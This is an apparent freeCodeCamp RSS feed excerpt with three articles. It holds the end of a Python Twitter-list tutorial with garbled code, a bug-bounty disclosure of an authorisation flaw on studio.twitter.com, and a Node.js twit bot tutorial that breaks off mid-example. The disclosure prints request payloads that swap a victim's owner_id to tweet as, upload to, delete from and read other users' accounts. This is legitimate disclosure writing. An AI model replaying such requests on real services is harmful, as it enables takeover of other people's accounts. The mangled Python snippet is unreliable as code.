<p>Let’s try to add the users from these tweets to our Twitter list “FreeCodeCampers”. I created my Twitter list at <a target="_blank" href="https://twitter.com/waterproofheart/lists/freecodecampers">https://twitter.com/waterproofheart/lists/freecodecampers</a> which means for my script the slug is <code>freecodecampers</code> and the <code>owner_screen_name</code> is mine, waterproofheart.</p>
<pre><code><span class="hljs-keyword">for</span> tweet <span class="hljs-keyword">in</span> response[<span class="hljs-string">'statuses'</span>]:
</code></pre><pre><code># <span class="hljs-keyword">try</span> to add each user who has tweeted the hashtag to the list <span class="hljs-keyword">try</span>: twitter.add_list_member(slug=’YOUR_LIST_SLUG’, owner_screen_name=’YOUR_USERNAME’, screen_name= tweet[‘user’][‘screen_name’])
</code></pre><pre><code>#<span class="hljs-keyword">if</span> <span class="hljs-keyword">for</span> some reason Twython can<span class="hljs-string">'t add user to the list print exception messageexcept TwythonError as e: print(e)</span>
</code></pre><p>You can create your own Twitter list by navigating to your Twitter profile, clicking on “Lists” on desktop and clicking on the right hand side to “Create new list”. View the <a target="_blank" href="https://help.twitter.com/en/using-twitter/twitter-lists">official Twitter List documentation</a> for more information.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*TPUBuOqUwh_WXUNrUu6MyA.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can test your script by running <code>python addToFreeCodeCampList.py</code> in the terminal.</p>
<p>My final script looks like this:</p>
<p>This script can be set to automatically run locally or remotely via a <a target="_blank" href="https://en.wikipedia.org/wiki/Cron">cron job</a> which allows tasks to be performed at a set schedule.</p>
<p>Feel free to comment below or <a target="_blank" href="https://twitter.com/waterproofheart">tweet at me</a> if you have any questions, suggestions or want to share how you modified this script!</p>
<p><em>If you enjoyed reading this article consider tapping the clap button ?. Wanna see more of my work? Check out m<a target="_blank" href="https://github.com/M0nica/">y GitHub</a> to view my code and learn more about my development experience at h<a target="_blank" href="http://aboutmonica.com">ttp://aboutmonica.com.</a></em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How I could have hacked all Twitter accounts (and how I earned $5,040 in bounties) ]]>
                </title>
                <description>
                    <![CDATA[ By AppSecure Summary This blog post is about an Insecure direct object reference vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-i-hacked-your-twitter-account-tweeting-viewing-deleting-photos-and-other-media-bf2cb3a18818/</link>
                <guid isPermaLink="false">66c34dcb93db2451bd441493</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 04 Jan 2018 05:26:16 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*LmBD9OaRAJPnBYBoZwyZMw.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By AppSecure</p>
<h3 id="heading-summaryhttpsunsplashcomsearchphotoshackerutmsourceunsplashamputmmediumreferralamputmcontentcreditcopytext"><a target="_blank" href="https://unsplash.com/search/photos/hacker?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Summary</a></h3>
<p><a target="_blank" href="https://unsplash.com/search/photos/hacker?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">This blog post is about an</a> <a target="_blank" href="https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References">Insecure direct object reference</a> vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload videos on behalf of users, delete pics/videos from the victim’s account, or view private media uploaded by other twitter accounts. All endpoints on studio.twitter.com were vulnerable.</p>
<h3 id="heading-description"><strong>Description</strong></h3>
<p>Twitter is an online news and social networking service where users post and interact with messages, called “tweets”, restricted to 140 characters. Registered users can post tweets, but those who are unregistered can only read them. Users access Twitter through its website interface, SMS, or a mobile device app.</p>
<p>Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. I started looking out for security loopholes after the launch.</p>
<p>All API requests on studio.twitter.com were sending a parameter named “owner_id” which was the publicly available twitter user ID of the logged in user. The <code>Owner_id</code> parameter was missing authorisation checks for changes, which allowed me to take actions on behalf of other Twitter users.</p>
<h4 id="heading-vulnerable-request-1-tweeting-from-other-twitter-accounts"><strong>Vulnerable request #1 (Tweeting from other Twitter accounts.)</strong></h4>
<pre><code>POST /<span class="hljs-number">1</span>/tweet.json HTTP/<span class="hljs-number">1.1</span>Host: studio.twitter.com
</code></pre><pre><code>{“account_id”:”attacker’s account id”,”owner_id”:”victim’s user id”,”metadata”:{“monetize”:<span class="hljs-literal">false</span>,”embeddable_playback”:<span class="hljs-literal">false</span>,”title”:”Test tweet by attacker”,“description”:”attacker attacker”,”cta_type”:<span class="hljs-literal">null</span>,”cta_link”:<span class="hljs-literal">null</span>},”media_key”:””,“text”:”attacker attacker”}
</code></pre><p>Replaying the above request with the victim’s ID resulted in a tweet from the victim’s account.</p>
<h4 id="heading-vulnerable-request-2-upload-media-from-anothers-account"><strong>Vulnerable request #2 (Upload Media from another’s account)</strong></h4>
<pre><code>POST /<span class="hljs-number">1</span>/library/add.json HTTP/<span class="hljs-number">1.1</span>Host: studio.twitter.com
</code></pre><pre><code>{“account_id”:”attacker’s accountid”,”owner_id”:”victim’s id”,”metadata”:{“monetize”:<span class="hljs-literal">false</span>,”name”:”abcd.png”,”embeddable_playback”:<span class="hljs-literal">true</span>,”title”:”Attacker”,”description”:””,”cta_type”:<span class="hljs-literal">null</span>,”cta_link”:<span class="hljs-literal">null</span>},”media_id”:””,”managed”:<span class="hljs-literal">false</span>,”media_type”:”TweetImage”}
</code></pre><p>Replaying above request with the victim’s <code>owner_id</code> uploaded media from other user accounts.</p>
<h4 id="heading-vulnerable-request-3-delete-videos-of-other-accounts"><strong>Vulnerable request #3 (Delete videos of other accounts)</strong></h4>
<pre><code>POST /<span class="hljs-number">1</span>/library/remove.json HTTP/<span class="hljs-number">1.1</span>Host: studio.twitter.com
</code></pre><pre><code>{“account_id”:”attacker’s account id”,”owner_id”:”victim’s id”,”media_key”:”victim’s video id”}
</code></pre><p>Replaying the above request with victim’s user id and victim’s <code>media_key</code> deleted media from the victim’s account.</p>
<h4 id="heading-vulnerable-request-4-private-media-disclosure"><strong>Vulnerable request #4 (Private media disclosure)</strong></h4>
<p><code>GET /1/library/list.json?account_id=attacker’s account id&amp;owner_id=victim’s id&amp;limit=20&amp;offset=0 HTTP/1.1</code><br><code>Host: studio.twitter.com</code><br><code>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0</code><br><code>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code><br><code>Accept-Language: en-US,en;q=0.5</code><br><code>Accept-Encoding: gzip, deflate</code><br><code>Referer: [https://studio.twitter.com/library](https://studio.twitter.com/library)</code><br><code>Cookie:</code><br><code>Connection: keep-alive</code></p>
<p>Replaying the above request with the victim’s user ID and my account ID leaked all private media of the victim’s Twitter account in response.</p>
<h3 id="heading-video-proof-of-concept"><strong>Video Proof of concept</strong></h3>
<p>All tests were done on a friend’s account after getting his permission.</p>
<h4 id="heading-1-tweet-from-victims-account-private-media-leakage">#1 Tweet from victim’s account, Private media leakage</h4>
<h4 id="heading-2-delete-media-from-victims-tweets">#2 Delete media from victim’s tweets</h4>
<h3 id="heading-timeline"><strong>Timeline</strong></h3>
<h4 id="heading-29th-august-2016">29th August 2016</h4>
<p>Reported all findings to Twitter in 3 different reports, as the endpoints were different.</p>
<h4 id="heading-2nd-september-2016">2nd September 2016</h4>
<p>Received response from Twitter team saying we are looking into the issue and would be closing out other reports as duplicate, as they shared the same root cause — i.e. missing <code>owner_id</code> check.</p>
<h4 id="heading-3rd-september-2016">3rd September 2016</h4>
<p>Bounty of <strong>$5,040</strong> rewarded by Twitter</p>
<p>I’m the founder of <a target="_blank" href="https://appsecure.in">AppSecure</a>, a specialised cyber security company with years of skill acquired and meticulous expertise. We are here to safeguard your business and critical data from online and offline threats or vulnerabilities.</p>
<p>You can contact us at hello@appsecure.in</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to build and deploy a multifunctional Twitter bot ]]>
                </title>
                <description>
                    <![CDATA[ By Scott Spence UPDATE 20190507: This tutorial is probably not relevant anymore as Twitter depreciate parts of the API this will be less and less relevant. I won’t be updating this going forward. ?   UPDATE 20171105: For ease of navigation I have co... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-build-and-deploy-a-multifunctional-twitter-bot-49e941bb3092/</link>
                <guid isPermaLink="false">66d8522818dca47577c8da99</guid>
                
                    <category>
                        <![CDATA[ bots ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 22 May 2017 19:24:39 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*dSTTYRDbaLqRHvFMPbVPxg.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Scott Spence</p>
<blockquote>
<p><strong><em>UPDATE 20190507:</em></strong> <em>This tutorial is probably not relevant anymore as Twitter depreciate parts of the API this will be less and less relevant. I won’t be updating this going forward. ?</em>  </p>
<p><strong><em>UPDATE 20171105:</em></strong> <em>For ease of navigation I have compiled all of this story into a <a target="_blank" href="https://spences10.gitbooks.io/twitter-bot-playground/content/">GitBook</a> it is a near exact representation of this story but will be kept up to date with any changes that are made to the <a target="_blank" href="https://github.com/spences10/twitter-bot-playground/">GitHub</a> repository. Thanks.</em></p>
</blockquote>
<p>I’ve been busy building Twitter bots again!</p>
<p>If you take a look at my <a target="_blank" href="https://github.com/spences10?utf8=%E2%9C%93&amp;tab=repositories&amp;q=twitt&amp;type=source&amp;language=javascript">GitHub profile</a>, you’ll see that I have quite a few repos relating to Twitter bots.</p>
<p>My latest project started with the decision to repurpose one of my testing repos as documentation for how to use the npm <code>twit</code> package. But as I added new examples, it quickly morphed into another Twitter bot.</p>
<p>This bot is cobbled together from three examples we’ll go over here. I’ll also detail how I used Zeit’s <code>now</code> platform to deploy the bot to a server.</p>
<p>Special thanks go to <a target="_blank" href="https://twitter.com/timneutkens">Tim</a> for helping me with the <code>now</code> deployment. And to <a target="_blank" href="https://twitter.com/ahandvanish">Hannah Davis</a> for the <a target="_blank" href="https://egghead.io/courses/create-your-own-twitter-bots">egghead.io</a> course material. It has some pretty neat examples, which I’ve linked to in the relevant sections.</p>
<h3 id="heading-get-started">Get started</h3>
<p>This article is meant as a reference for me and anyone else that’s interested in Twitter bots in JavaScript using <code>Node.js</code>. Note that all of the examples here use the <a target="_blank" href="https://www.npmjs.com/">npm</a> package <a target="_blank" href="https://www.npmjs.com/package/twit">twit</a>.</p>
<p>Bot example 1: tweeting media with the NASA picture of the day</p>
<p></p><blockquote><p>Ganymede: The Largest Moon <a href="https://t.co/6ir3tp1lRM">pic.twitter.com/6ir3tp1lRM</a></p>— Botland Mc Bot ?‍?? (@DroidScott) <a href="https://twitter.com/DroidScott/status/863823681788817408?ref_src=twsrc%5Etfw">May 14, 2017</a></blockquote><p></p>



<p>Bot example 2: using RiTa to make a Markov bot that will use your Twitter archive to post statuses based off of your tweet history.</p>
<p></p><blockquote><p>I had the best turkey pie and mash made by my sister in law # nomnomnom the pants still not turned up?</p>— Botland Mc Bot ?‍?? (@DroidScott) <a href="https://twitter.com/DroidScott/status/863857996442607618?ref_src=twsrc%5Etfw">May 14, 2017</a></blockquote><p></p>



<p>Bot example 3: posting links (or other data) from a spreadsheet.</p>
<p></p><blockquote><p><a href="https://t.co/9M9K7Gmtoa">https://t.co/9M9K7Gmtoa</a> a link from a Google spreadsheet</p>— Botland Mc Bot ?‍?? (@DroidScott) <a href="https://twitter.com/DroidScott/status/864030168511377408?ref_src=twsrc%5Etfw">May 15, 2017</a></blockquote><p></p>



<p>We'll go through setting up a simple bot, which we’ll use to run each of these examples.</p>
<p>I'm going to assume that you have <code>Node.js</code> installed along with <code>npm</code> and that you are comfortable with the terminal.</p>
<p>If you are not familiar with <code>Node.js</code> or do not have your environment set up to use it, take a look at the <a target="_blank" href="https://github.com/spences10/twitter-bot-bootstrap#twitter-bot-bootstrap">README.md</a> on my <a target="_blank" href="https://github.com/spences10/twitter-bot-bootstrap">Twitter bot bootstrap</a> repo. It gives details about getting a Twitter application set up and a development environment with c9.</p>
<p>A great resource is <a target="_blank" href="https://github.com/amandeepmittal">Aman Mittal's</a> <a target="_blank" href="https://github.com/amandeepmittal/awesome-twitter-bots">Awesome Twitter bots</a> repo which has resources and bot examples.</p>
<p>A lot of this information is already out there, but I'm hoping this is all the information someone will need to get started with their own Twitter bot. I'm doing this for my own learning and hopefully other people will get something out of this as well.</p>
<h3 id="heading-set-up-the-bot">Set up the bot</h3>
<p>Before touching the terminal or writing any code, we’ll need to create a <a target="_blank" href="https://apps.twitter.com/app/new">Twitter app</a> to get our API keys (we’ll need them all):</p>
<pre><code>Consumer Key (API Key)
Consumer Secret (API Secret)
Access Token
Access Token Secret
</code></pre><p>Keep the keys somewhere safe so you can use them again when you need them. We’re going to use them in an <code>[.env](https://www.npmjs.com/package/dotenv)</code> file that we’ll create.</p>
<p>We’re using <code>[dotenv](https://www.npmjs.com/package/dotenv)</code> so that if at some point in the future we want to add our bot to GitHub the Twitter API keys are not added to GitHub for all to see.</p>
<p>Starting from scratch, create a new folder via the terminal and initialise the <code>package.json</code> via <code>npm</code> or <code>yarn</code>. We'll need <code>twit</code> and <code>dotenv</code> for all these examples.</p>
<p>I’ll be using <code>yarn</code> for all these examples, you can use <code>npm</code> if you prefer.</p>
<p>Terminal commands:</p>
<pre><code class="lang-bash">mkdir tweebot-play
<span class="hljs-built_in">cd</span> tweebot-play
yarn init -y
yarn add twit dotenv
touch .env .gitignore index.js
</code></pre>
<p>If you take a look at the <code>package.json</code> that was created it should look something like this:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"tweebot-play"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-attr">"author"</span>: <span class="hljs-string">"Scott Spence &lt;spences10apps@gmail.com&gt; (https://spences10.github.io/)"</span>,
  <span class="hljs-attr">"license"</span>: <span class="hljs-string">"MIT"</span>,
  <span class="hljs-attr">"dependencies"</span>: {
    <span class="hljs-attr">"dotenv"</span>: <span class="hljs-string">"^4.0.0"</span>,
    <span class="hljs-attr">"twit"</span>: <span class="hljs-string">"^2.2.5"</span>
  }
}
</code></pre>
<p>Add an <code>npm</code> script to the <code>package.json</code> to kick off the bot when we're testing and looking for output:</p>
<pre><code class="lang-json"><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"node index.js"</span>
  },
</code></pre>
<p>It should look something like this now:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"tweebot-play"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"node index.js"</span>
  },
  <span class="hljs-attr">"author"</span>: <span class="hljs-string">"Scott Spence &lt;spences10apps@gmail.com&gt; (https://spences10.github.io/)"</span>,
  <span class="hljs-attr">"license"</span>: <span class="hljs-string">"MIT"</span>,
  <span class="hljs-attr">"dependencies"</span>: {
    <span class="hljs-attr">"dotenv"</span>: <span class="hljs-string">"^4.0.0"</span>,
    <span class="hljs-attr">"twit"</span>: <span class="hljs-string">"^2.2.5"</span>
  }
}
</code></pre>
<p>Now we can add the following pointer to the bot in <code>index.js</code>, like so:</p>
<pre><code class="lang-js"><span class="hljs-built_in">require</span>(<span class="hljs-string">'./src/bot'</span>)
</code></pre>
<p>So when we use <code>yarn start</code> to run the bot it calls the <code>index.js</code> file which runs the <code>bot.js</code> file from the <code>src</code> folder we're going to create.</p>
<p>Now we add our API keys to the <code>.env</code> file, it should look something like this:</p>
<pre><code>CONSUMER_KEY=AmMSbxxxxxxxxxxNh4BcdMhxg
CONSUMER_SECRET=eQUfMrHbtlxxxxxxxxxxkFNNj1H107xxxxxxxxxx6CZH0fjymV
ACCESS_TOKEN=<span class="hljs-number">7</span>xxxxx492-uEcacdl7HJxxxxxxxxxxecKpi90bFhdsGG2N7iII
ACCESS_TOKEN_SECRET=<span class="hljs-number">77</span>vGPTt20xxxxxxxxxxxZAU8wxxxxxxxxxx0PhOo43cGO
</code></pre><p>In the <code>.gitignore</code> file we need to add <code>.env</code> and <code>node_modules</code></p>
<pre><code># Dependency directories
node_modules

# env files
.env
</code></pre><p>Then init git:</p>
<pre><code class="lang-bash">git init
</code></pre>
<p>Ok, now we can start to configure the bot, we'll need a <code>src</code> folder a <code>bot.js</code> file and a <code>config.js</code> file.</p>
<p>Terminal:</p>
<pre><code class="lang-bash">mkdir src
<span class="hljs-built_in">cd</span> src
touch config.js bot.js
</code></pre>
<p>Then we can set up the bot config, open the <code>config.js</code> file and add the following:</p>
<pre><code class="lang-js"><span class="hljs-built_in">require</span>(<span class="hljs-string">'dotenv'</span>).config()

<span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">consumer_key</span>: process.env.CONSUMER_KEY,
  <span class="hljs-attr">consumer_secret</span>: process.env.CONSUMER_SECRET,
  <span class="hljs-attr">access_token</span>: process.env.ACCESS_TOKEN,
  <span class="hljs-attr">access_token_secret</span>: process.env.ACCESS_TOKEN_SECRET,
}
</code></pre>
<p>Okay, with the bot config done, now we can set up the bot. Each of the examples detailed here will have the same three lines of code:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)
</code></pre>
<p>Do a test with <code>yarn start</code> from the terminal, we should get this for output:</p>
<pre><code class="lang-bash">yarn start
yarn start v0.23.4
$ node index.js
Done <span class="hljs-keyword">in</span> 0.64s.
</code></pre>
<p>Our bot is now configured and ready to go!</p>
<h3 id="heading-post-statuses">Post Statuses</h3>
<p>To post a status, use <code>.post('statuses/update'...</code>. This example makes the bot post a “hello world!” status.</p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'statuses/update'</span>, {
  <span class="hljs-attr">status</span>: <span class="hljs-string">'hello world!'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> tweeted!`</span>)
  }
})
</code></pre>
<h3 id="heading-work-with-users">Work with users</h3>
<p>To get a list of follower IDs, use <code>.get('followers/ids'...</code> and include the account of which you want the followers. In this example, we're using <code>[@DroidScott](https://twitter.com/DroidScott)</code>, but you can use any account you like. We can then log them out to the console.</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'followers/ids'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'DroidScott'</span>,
  <span class="hljs-attr">count</span>: <span class="hljs-number">5</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<p>You can use the <code>count</code> parameter the specify how many results you get, up to 100 at a time.</p>
<p>Or to get a detailed list you can use <code>.get('followers/list'...</code></p>
<p>Here we print off a list of <code>user.screen_name</code>'s up to 200 per call.</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'followers/list'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'DroidScott'</span>,
  <span class="hljs-attr">count</span>:<span class="hljs-number">200</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    data.users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(user.screen_name)
    })
  }
})
</code></pre>
<p>To follow back a follower we can use <code>.post('friendships/create'...</code> here the bot is following back the user <code>MarcGuberti</code></p>
<p><em>A bot should only follow users that follow the bot.</em></p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'friendships/create'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'MarcGuberti'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<p>Like we did with followers, you can get a list of accounts that your bot is following back.</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'friends/ids'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'DroidScott'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<p>And also a detailed list.</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'friends/list'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'DroidScott'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<p>You can get friendship statuses. This is useful for following new followers, and gives us the relation of a specific user. You can run through your followers list and follow back any users that do not have the <code>following</code> connection.</p>
<p>Lets take a look at the relation between our bot and <code>[@ScottDevTweets](https://twitter.com/ScottDevTweets)</code></p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'friendships/lookup'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'ScottDevTweets'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<p>If the user follows the bot, then relationship will be:</p>
<pre><code class="lang-js">[ { <span class="hljs-attr">name</span>: <span class="hljs-string">'Scott Spence ???♻'</span>,
    <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'ScottDevTweets'</span>,
    <span class="hljs-attr">id</span>: <span class="hljs-number">4897735439</span>,
    <span class="hljs-attr">id_str</span>: <span class="hljs-string">'4897735439'</span>,
    <span class="hljs-attr">connections</span>: [ <span class="hljs-string">'followed_by'</span> ] } ]
</code></pre>
<p>If the user and the bot are following each other, the relationship will be:</p>
<pre><code class="lang-js">[ { <span class="hljs-attr">name</span>: <span class="hljs-string">'Scott Spence ???♻'</span>,
    <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'ScottDevTweets'</span>,
    <span class="hljs-attr">id</span>: <span class="hljs-number">4897735439</span>,
    <span class="hljs-attr">id_str</span>: <span class="hljs-string">'4897735439'</span>,
    <span class="hljs-attr">connections</span>: [ <span class="hljs-string">'following'</span>, <span class="hljs-string">'followed_by'</span> ] } ]
</code></pre>
<p>And if there is no relationship then:</p>
<pre><code class="lang-js">[ { <span class="hljs-attr">name</span>: <span class="hljs-string">'Scott Spence ???♻'</span>,
    <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'ScottDevTweets'</span>,
    <span class="hljs-attr">id</span>: <span class="hljs-number">4897735439</span>,
    <span class="hljs-attr">id_str</span>: <span class="hljs-string">'4897735439'</span>,
    <span class="hljs-attr">connections</span>: [ <span class="hljs-string">'none'</span> ] } ]
</code></pre>
<p>Direct Message a user with <code>bot.post('direct_messages/new'...</code></p>
<p><em>A bot should only DM a user that is following the bot account</em></p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'direct_messages/new'</span>, {
  <span class="hljs-attr">screen_name</span>: <span class="hljs-string">'ScottDevTweets'</span>,
  <span class="hljs-attr">text</span>: <span class="hljs-string">'Hello from bot!'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<h3 id="heading-interact-with-tweets">Interact with tweets</h3>
<p>To get a list of tweets in the bot’s time line, use <code>.get(statuses/home_timeline'...</code></p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'statuses/home_timeline'</span>, {
  <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data)
  }
})
</code></pre>
<p>To be more granular you can pull out specific information on each tweet.</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'statuses/home_timeline'</span>, {
  <span class="hljs-attr">count</span>: <span class="hljs-number">5</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    data.forEach(<span class="hljs-function"><span class="hljs-params">t</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(t.text)
      <span class="hljs-built_in">console</span>.log(t.user.screen_name)
      <span class="hljs-built_in">console</span>.log(t.id_str)
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'\n'</span>)
    })
  }
})
</code></pre>
<p>To retweet use <code>.post('statuses/retweet/:id'...</code> and pass in a tweet id to retweet.</p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'statuses/retweet/:id'</span>, {
  <span class="hljs-attr">id</span>: <span class="hljs-string">'860828247944253440'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> retweet success!`</span>)
  }
})
</code></pre>
<p>To unretweet just use <code>.post('statuses/unretweet/:id'...</code></p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'statuses/unretweet/:id'</span>, {
  <span class="hljs-attr">id</span>: <span class="hljs-string">'860828247944253440'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> unretweet success!`</span>)
  }
})
</code></pre>
<p>To like a tweet use <code>.post('favorites/create'...</code></p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'favorites/create'</span>, {
  <span class="hljs-attr">id</span>: <span class="hljs-string">'860897020726435840'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> tweet liked!`</span>)
  }
})
</code></pre>
<p>To unlike a post use <code>.post('favorites/destroy'...</code></p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'favorites/destroy'</span>, {
  <span class="hljs-attr">id</span>: <span class="hljs-string">'860897020726435840'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> tweet unliked!`</span>)
  }
})
</code></pre>
<p>To reply to a tweet is much the same as posting a tweet, but you need to include the <code>in_reply_to_status_id</code> parameter. Also, you will need to put in the screen name of the person you are replying to.</p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'statuses/update'</span>, {
  <span class="hljs-attr">status</span>: <span class="hljs-string">'@ScottDevTweets I reply to you yes!'</span>,
